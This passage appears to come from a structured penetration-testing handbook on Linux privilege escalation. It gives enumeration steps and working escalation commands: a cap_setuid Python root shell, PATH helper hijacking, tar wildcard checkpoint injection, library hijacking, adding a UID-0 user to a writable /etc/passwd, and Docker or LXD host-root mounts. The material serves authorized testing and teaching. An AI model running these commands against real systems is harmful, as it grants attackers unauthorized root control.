ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.

5.1.10.6.1 Capability interpretation and example

High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Only when the exact interpreter has effective cap_setuid:

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

+ep indicates permitted plus the file effective bit. Bounding sets, namespaces, nosuid mounts and program behavior can still change the result.

5.1.10.7 Worked example — hypothetical

Observation: a custom SUID helper invokes another program by relative name. Test: inspect its call and inherited effective identity. Illustrative output: the helper retains root and resolves through a controlled path. Interpretation: apply the PATH method and verify the final identity.

5.1.10.8 Verify the result

Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.

5.1.10.9 Failure and fallback

nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.

5.1.10.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A privileged program/job invokes a helper without an absolute pathA controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists§5.1.13 — Hijack an unqualified helper through controlled PATH resolution
An interpreter/helper has an effective high-value capabilityThe exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use§5.1.11 — Use a file capability that enables a specific privileged operation
A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin pathActual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger§5.1.15 — Control a privileged program's shared-library resolution

5.1.11 Use a file capability that enables a specific privileged operation

Choose when: An interpreter/helper has an effective high-value capability · Result: The specific privileged operation or identity transition enabled by that capability

Blocks: 8. Operational procedure | Quick sheet

5.1.11.1 Purpose and result

The specific privileged operation or identity transition enabled by that capability.

5.1.11.2 Recognition clues

An interpreter/helper has an effective high-value capability.

5.1.11.2.1 Find the clue from your starting access

Where to investigate: Search file capabilities and inspect the exact program plus current namespace/bounding context.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Match the granted capability to the observed effect and effective IDs; do not infer unrelated root powers.

Failure/next check: nosuid, capability bounding sets, namespaces or a missing effective bit can change behavior. Choose another supported primitive.

getcap -r / 2>/dev/null
capsh --print 2>/dev/null

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/opt/TOOLS/python3 cap_setuid=ep

Recognize this detail: The specific interpreter has effective set-UID authority, unlike an ordinary copy of python3 elsewhere.

Still missing before method selection: Read getcap for the exact executable, inspect its mount and match the named capability to the program operation. A version or capability name alone does not prove that the program retains a useful effective capability.

Outcome after checkingExample and next decision
Enabled after validationThe exact capability-backed operation changes the effective identity as expected: select that method.
Ruled out in this contextOnly cap_net_raw exists for the candidate: reject the assumed general UID-changing route.
InconclusiveA capability name without effective-context/consumer evidence is insufficient.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.11.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use.

5.1.11.4 Discover and verify prerequisites

getcap -r / 2>/dev/null
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

5.1.11.5 Why it works

Capabilities divide root authority into individual powers. cap_setuid and file-read capabilities enable different chains; cap_net_raw is not a general root capability.

5.1.11.6 Execute and choose variants

5.1.11.6.1 Capability interpretation and example

High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.

capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Only when the exact interpreter has effective cap_setuid:

/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

+ep indicates permitted plus the file effective bit. Bounding sets, namespaces, nosuid mounts and program behavior can still change the result.

5.1.11.7 Worked example — hypothetical

Observation: a Python interpreter has effective cap_setuid. Test: confirm its exact executable and context, then use the capability-backed identity operation. Illustrative output: UID 0 is obtained. Interpretation: verify host/namespace and re-enumerate.

5.1.11.8 Verify the result

Match the granted capability to the observed effect and effective IDs; do not infer unrelated root powers.

5.1.11.9 Failure and fallback

nosuid, capability bounding sets, namespaces or a missing effective bit can change behavior. Choose another supported primitive.

5.1.11.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
Readable configuration, shell history, environment, process arguments or session socketsRead access to the artifact; exact account/service context; session/agent access must include a usable live identity§5.1.7 — Recover credentials from Linux user, service and process trails
A nonstandard or dangerous privileged executableEffective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege§5.1.10 — Use a SUID or SGID program's exposed privileged primitive

5.1.12 Control a script, binary or configuration consumed by a privileged job/service

Choose when: Root-owned cron, systemd or recurring process activity uses a controllable object · Result: Verified execution or a useful file operation under the job/service identity

Blocks: 8. Operational procedure | Quick sheet

5.1.12.1 Purpose and result

Verified execution or a useful file operation under the job/service identity.

5.1.12.2 Recognition clues

Root-owned cron, systemd or recurring process activity uses a controllable object.

5.1.12.2.1 Find the clue from your starting access

Where to investigate: Inspect actual cron/systemd definitions and running processes, then follow their action paths into permission checks.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.

Failure/next check: Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.

cat /etc/crontab
systemctl list-timers --all
ps auxww

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

* * * * * root /opt/APP/backup.sh
Script path: /opt/APP/backup.sh

Recognize this detail: The schedule explicitly names a privileged consumer and an exact file to inspect.

Still missing before method selection: Observe the actual command and UID with pspy or inspect the unit with systemctl cat/show. Run namei -l, stat and getfacl on the consumed path and parents; identify the timer, restart or invocation before changing the file.

Outcome after checkingExample and next decision
Enabled after validationThe controlled object is consumed at a confirmed privileged trigger: choose the job/service method.
Ruled out in this contextThe real job runs as the same low user: reject privilege gain through that action.
InconclusiveA stale job file without observed activity/usable trigger leaves execution unresolved.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.12.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger.

5.1.12.4 Discover and verify prerequisites

cat /etc/crontab
systemctl list-timers --all
ps auxww

5.1.12.5 Why it works

Writable scripts and service units become useful only when the privileged consumer actually reads them. A timer schedule and a right to restart a service are different triggers.

5.1.12.6 Execute and choose variants

crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100

systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

Observe short-lived commands:

./pspy64
./pspy64 -pf -i 1000

Validate every referenced script, binary, configuration, environment file, plugin and parent:

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null

Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.

Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.

5.1.12.7 Worked example — hypothetical

Observation: root runs a backup script on a timer. Test: prove the exact script path and effective write rights, then observe a controlled effect at its scheduled trigger. Illustrative output: a root-owned marker appears. Interpretation: privileged consumption is confirmed.

5.1.12.8 Verify the result

Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.

5.1.12.9 Failure and fallback

Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.

5.1.12.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A root-consumed file or directory appears writableEffective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately§5.1.6 — Prove effective file, directory, ACL and mount control
A privileged program/job invokes a helper without an absolute pathA controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists§5.1.13 — Hijack an unqualified helper through controlled PATH resolution
A privileged job passes an uncontrolled directory glob to an option-parsing utilityControl of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger§5.1.14 — Turn wildcard-expanded filenames into privileged command options

5.1.13 Hijack an unqualified helper through controlled PATH resolution

Choose when: A privileged program/job invokes a helper without an absolute path · Result: Verified execution of the chosen helper under the consumer identity

Blocks: 8. Operational procedure | Quick sheet

5.1.13.1 Purpose and result

Verified execution of the chosen helper under the consumer identity.

5.1.13.2 Recognition clues

A privileged program/job invokes a helper without an absolute path.

5.1.13.2.1 Find the clue from your starting access

Where to investigate: Inspect a verified privileged helper/script for unqualified executable names and compare its actual PATH with writable directories.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Prove actual helper selection and effective identity through a controlled effect.

Failure/next check: secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route.

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Helper invocation: backup_tool ARGUMENT
Consumer PATH: /CONTROLLED_DIRECTORY:/usr/bin:/bin

Recognize this detail: An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.

Still missing before method selection: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.

Outcome after checkingExample and next decision
Enabled after validationThe consumer selects the controlled helper under the higher identity: use the verified resolution route.
Ruled out in this contextIt invokes /usr/bin/backup_tool by absolute path or uses a protected PATH: reject this hijack.
InconclusiveA strings result alone does not prove an executed call or inherited PATH; inspect/observe the consumer.

If you do not yet have this clue: start with Control a script, binary or configuration consumed by a privileged job/service.

5.1.13.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists.

5.1.13.4 Discover and verify prerequisites

printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY

5.1.13.5 Why it works

The caller's effective PATH determines helper lookup; changing the attacker's PATH has no effect when the privileged consumer sets its own environment or uses an absolute path.

5.1.13.6 Execute and choose variants

echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
  [ -z "$d" ] && d=.
  [ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'

If the privileged consumer resolves helper through a controllable PATH:

printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof

Requires a relative command, the consumer's effective PATH, an earlier writable directory, trigger and retained privilege. Your interactive PATH alone is inconclusive.

5.1.13.7 Worked example — hypothetical

Observation: a privileged helper invokes a bare command name. Test: inspect the execution environment and create a controlled implementation in the earlier permitted directory. Illustrative output: the triggered program runs the controlled helper as root. Interpretation: resolution and privilege retention are confirmed.

5.1.13.8 Verify the result

Prove actual helper selection and effective identity through a controlled effect.

5.1.13.9 Failure and fallback

secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route.

5.1.13.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Root-owned cron, systemd or recurring process activity uses a controllable objectEffective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger§5.1.12 — Control a script, binary or configuration consumed by a privileged job/service
A nonstandard or dangerous privileged executableEffective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege§5.1.10 — Use a SUID or SGID program's exposed privileged primitive
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate

5.1.14 Turn wildcard-expanded filenames into privileged command options

Choose when: A privileged job passes an uncontrolled directory glob to an option-parsing utility · Result: A verified unintended privileged utility operation

Blocks: 8. Operational procedure | Quick sheet

5.1.14.1 Purpose and result

A verified unintended privileged utility operation.

5.1.14.2 Recognition clues

A privileged job passes an uncontrolled directory glob to an option-parsing utility.

5.1.14.2.1 Find the clue from your starting access

Where to investigate: Read the exact privileged command line and inspect the directory over which its shell glob expands.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the utility's actual triggered effect and its identity, not merely that special filenames exist.

Failure/next check: A different utility build, -- separator, changed directory or absent glob can disprove this path.

cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Job command: tar ... *
Working directory: /CONTROLLED_DIRECTORY
Caller: root

Recognize this detail: Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.

Still missing before method selection: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.

Outcome after checkingExample and next decision
Enabled after validationThe actual invocation accepts the useful injected option and privileged effect is verified: select that mechanism.
Ruled out in this contextThe job uses -- before expanded filenames or no compatible glob: reject that option-injection route.
InconclusiveA wildcard-looking string without execution/working-directory evidence is only a candidate.

If you do not yet have this clue: start with Control a script, binary or configuration consumed by a privileged job/service.

5.1.14.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger.

5.1.14.4 Discover and verify prerequisites

namei -l /PATH/TO/JOB_DIRECTORY
ls -la /PATH/TO/JOB_DIRECTORY

5.1.14.5 Why it works

Shell glob expansion produces arguments before the program parses options. A filename that becomes an option is useful only for a utility/mode that honors it; -- or fixed argument handling can stop the chain.

5.1.14.6 Execute and choose variants

grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
  /etc/cron* /etc/systemd /opt /usr/local 2>/dev/null

GNU tar proof, only when a privileged job executes compatible tar ... * in an attacker-writable directory:

printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'

Confirm working directory, wildcard placement, utility implementation/options, privileged identity and trigger. Do not assume every wildcard or utility accepts filename-derived options.

5.1.14.7 Worked example — hypothetical

Observation: a backup job calls tar on an uncontrolled wildcard. Test: inspect exact command ordering and supported tar options. Illustrative output: controlled filenames select the documented checkpoint action when the job runs. Interpretation: option injection is confirmed.

5.1.14.8 Verify the result

Verify the utility's actual triggered effect and its identity, not merely that special filenames exist.

5.1.14.9 Failure and fallback

A different utility build, -- separator, changed directory or absent glob can disprove this path.

5.1.14.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Root-owned cron, systemd or recurring process activity uses a controllable objectEffective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger§5.1.12 — Control a script, binary or configuration consumed by a privileged job/service
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
A root-consumed file or directory appears writableEffective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately§5.1.6 — Prove effective file, directory, ACL and mount control

5.1.15 Control a privileged program's shared-library resolution

Choose when: A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path · Result: Verified privileged initialization or behavior of a controlled shared object

Blocks: 8. Operational procedure | Quick sheet

5.1.15.1 Purpose and result

Verified privileged initialization or behavior of a controlled shared object.

5.1.15.2 Recognition clues

A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path.

5.1.15.2.1 Find the clue from your starting access

Where to investigate: Inspect the reviewed privileged executable's dependencies/search paths and permission-check the actual selected library directory.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Prove the selected library path and effective execution identity; retain dependency and trigger evidence.

Failure/next check: Static linking, secure-loader sanitization, a different selected library or missing symbols breaks the route.

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

NEEDED: libAPP.so
RUNPATH: /CONTROLLED_LIBRARY_DIRECTORY

Recognize this detail: A named dependency plus a potentially controlled search location is a loader-resolution candidate.

Still missing before method selection: Verify actual runtime selection, ABI/symbols, secure-execution rules, retained privilege and a trigger.

Outcome after checkingExample and next decision
Enabled after validationThe higher-identity process actually loads the controlled compatible library: select that chain.
Ruled out in this contextA protected earlier library or secure-loader behavior prevents selection: reject the assumed path.
InconclusiveStatic dependency output alone leaves actual privileged resolution unknown.

If you do not yet have this clue: start with Use a SUID or SGID program's exposed privileged primitive.

5.1.15.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger.

5.1.15.4 Discover and verify prerequisites

readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
file /PATH/TO/BINARY

5.1.15.5 Why it works

The dynamic loader resolves dependencies using context-specific rules. A writable directory is irrelevant if secure execution or an earlier trusted resolution prevents loading from it.

5.1.15.6 Execute and choose variants

file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null

Need a privileged dynamically linked consumer plus a missing/selected library resolved from a writable location or a preserved loader variable. Secure-execution mode strips many loader variables from SUID/SGID programs. Prefer readelf over executing an untrusted file through an unsafe ldd implementation.

For root-run scripts, inspect imports/includes and their actual search order. A writable current directory, module path or imported file can be a privileged input even when the main script is protected:

grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'

Prove the privileged interpreter uses the writable module/include before changing it. The interactive interpreter's search path may differ from cron/systemd/sudo.

5.1.15.7 Worked example — hypothetical

Observation: a custom privileged binary references a library in a writable search location. Test: confirm resolution and ABI, then trigger a minimal controlled effect. Illustrative output: library initialization runs under the higher identity. Interpretation: the library-consumption chain is verified.

5.1.15.8 Verify the result

Prove the selected library path and effective execution identity; retain dependency and trigger evidence.

5.1.15.9 Failure and fallback

Static linking, secure-loader sanitization, a different selected library or missing symbols breaks the route.

5.1.15.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A sudo rule explicitly preserves or permits a loader variableAllowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it§5.1.9 — Load a controlled library through a permitted sudo environment
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
An existing C/C++ or platform-specific PoC matches the candidateCorrect compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants§4.1.7 — Compile and minimally adapt an existing native or memory-corruption PoC

5.1.16 Change a writable account or privilege-policy file

Choose when: Account metadata or a privilege-policy file appears writable · Result: A verified account or policy-backed privilege transition

Blocks: 8. Operational procedure | Quick sheet

5.1.16.1 Purpose and result

A verified account or policy-backed privilege transition.

5.1.16.2 Recognition clues

Account metadata or a privilege-policy file appears writable.

5.1.16.2.1 Find the clue from your starting access

Where to investigate: Check permissions on the account/policy file identified by enumeration, including parents and mount state, before any content change.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the resulting identity/authorized action and retain the exact change plus recovery copy privately.

Failure/next check: Read-only mounts, PAM behavior or syntax mistakes can defeat the candidate. Prefer a narrower reversible consumer when available.

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

/etc/passwd: mode=0666 owner=root
Effective write for current identity: present

Recognize this detail: A sensitive account file appears writable; the authentication implementation and valid record syntax determine its effect.

Still missing before method selection: Preserve original state; confirm exact effective write, file consumer, useful identity and recovery/trigger.

Outcome after checkingExample and next decision
Enabled after validationThe valid authorized change produces the intended authentication/policy effect: choose this sensitive-file route.
Ruled out in this contextThe filesystem/ACL denies the required operation: reject the writable-file hypothesis.
InconclusiveMode bits without ACL/mount/consumer evidence leave a safe usable transition unresolved.

If you do not yet have this clue: start with Prove effective file, directory, ACL and mount control.

5.1.16.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original.

5.1.16.4 Discover and verify prerequisites

stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null

5.1.16.5 Why it works

Sensitive-file write can change authentication or authorization, but the exact file format and consuming implementation determine the effect. A malformed account/policy file can break access.

5.1.16.6 Execute and choose variants

ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null
5.1.16.6.1 Writable /etc/passwd — authorized disposable lab only
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id

Preserve a known-good copy and restore it. UID/GID 0 creates a superuser. Do not risk corrupting a host when no safe recovery exists.

Also inspect effective access to /etc/sudoers.d, PAM, SSH authorized-key locations and root-executed startup/configuration files.

5.1.16.7 Worked example — hypothetical

Observation: a disposable lab exposes writable account metadata. Test: preserve the original and inspect the authentication implementation before the documented minimal change. Illustrative output: the new context authenticates with the expected UID. Interpretation: verify and restore according to the lab objective.

5.1.16.8 Verify the result

Verify the resulting identity/authorized action and retain the exact change plus recovery copy privately.

5.1.16.9 Failure and fallback

Read-only mounts, PAM behavior or syntax mistakes can defeat the candidate. Prefer a narrower reversible consumer when available.

5.1.16.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
A password tied to a plausible user and serviceCorrect local/domain/application identity, reachable compatible service, accepted authentication and account state§3.1.6 — Validate known passwords and context-specific reuse
A root-consumed file or directory appears writableEffective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately§5.1.6 — Prove effective file, directory, ACL and mount control

5.1.17 Use privileged group, daemon or container-management control

Choose when: Membership or socket ACLs permit controlling a rootful daemon or useful session · Result: A verified privileged daemon operation or host-relevant access

Blocks: 8. Operational procedure | Quick sheet

5.1.17.1 Purpose and result

A verified privileged daemon operation or host-relevant access.

5.1.17.2 Recognition clues

Membership or socket ACLs permit controlling a rootful daemon or useful session.

5.1.17.2.1 Find the clue from your starting access

Where to investigate: Inspect groups, local sockets and namespace context, then use only permitted read-only daemon inventory to identify rootful/rootless behavior.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Distinguish host and container namespace, effective UID and the exact host operation.

Failure/next check: Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.

id
ls -l /var/run/docker.sock
cat /proc/1/cgroup

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

groups include docker
Socket group: docker; group read/write
Container/host context: verify separately

Recognize this detail: Effective socket access suggests daemon control; group text alone does not establish host-affecting rootful operations.

Still missing before method selection: Check API acceptance, rootful/rootless and namespace policy, available resources and the specific host operation.

Outcome after checkingExample and next decision
Enabled after validationA rootful daemon permits the required host-affecting operation: use that documented route.
Ruled out in this contextA rootless/user-namespaced daemon cannot grant the assumed host-root effect: reject that chain.
InconclusiveSocket presence without usable API permissions leaves the control claim unresolved.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.17.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation.

5.1.17.4 Discover and verify prerequisites

id
ls -l /var/run/docker.sock
findmnt
cat /proc/1/cgroup

5.1.17.5 Why it works

Controlling a rootful container daemon can grant host-mount operations; root inside a restricted/rootless container is a different authority. Socket presence alone proves no API access.

5.1.17.6 Execute and choose variants

id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null

Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.

5.1.17.6.1 Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.

5.1.17.6.2 LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.

5.1.17.7 Worked example — hypothetical

Observation: docker group access reaches a rootful daemon. Test: inspect its available image and mount permissions using the documented procedure. Illustrative output: a controlled container can read the intended host filesystem. Interpretation: verify host context before claiming host root.

5.1.17.8 Verify the result

Distinguish host and container namespace, effective UID and the exact host operation.

5.1.17.9 Failure and fallback

Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.

5.1.17.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
Readable configuration, shell history, environment, process arguments or session socketsRead access to the artifact; exact account/service context; session/agent access must include a usable live identity§5.1.7 — Recover credentials from Linux user, service and process trails
A writable/exported filesystem or a loopback-only service with useful privilegesRelevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer§5.1.18 — Exploit a permission-backed mount, NFS mapping or local service

5.1.18 Exploit a permission-backed mount, NFS mapping or local service

Choose when: A writable/exported filesystem or a loopback-only service with useful privileges · Result: A useful file/credential operation or verified local service access

Blocks: 8. Operational procedure | Quick sheet

5.1.18.1 Purpose and result

A useful file/credential operation or verified local service access.

5.1.18.2 Recognition clues

A writable/exported filesystem or a loopback-only service with useful privileges.

5.1.18.2.1 Find the clue from your starting access

Where to investigate: Inspect mounts, exports and local listeners after the foothold; correlate each with its identity and reachable service.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the actual file/service operation, mapped identity and any resulting execution effect.

Failure/next check: An exposed export or listener is only a candidate. Validate mapping, authentication and consumer before claiming escalation.

findmnt
cat /etc/exports 2>/dev/null
ss -lntup

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

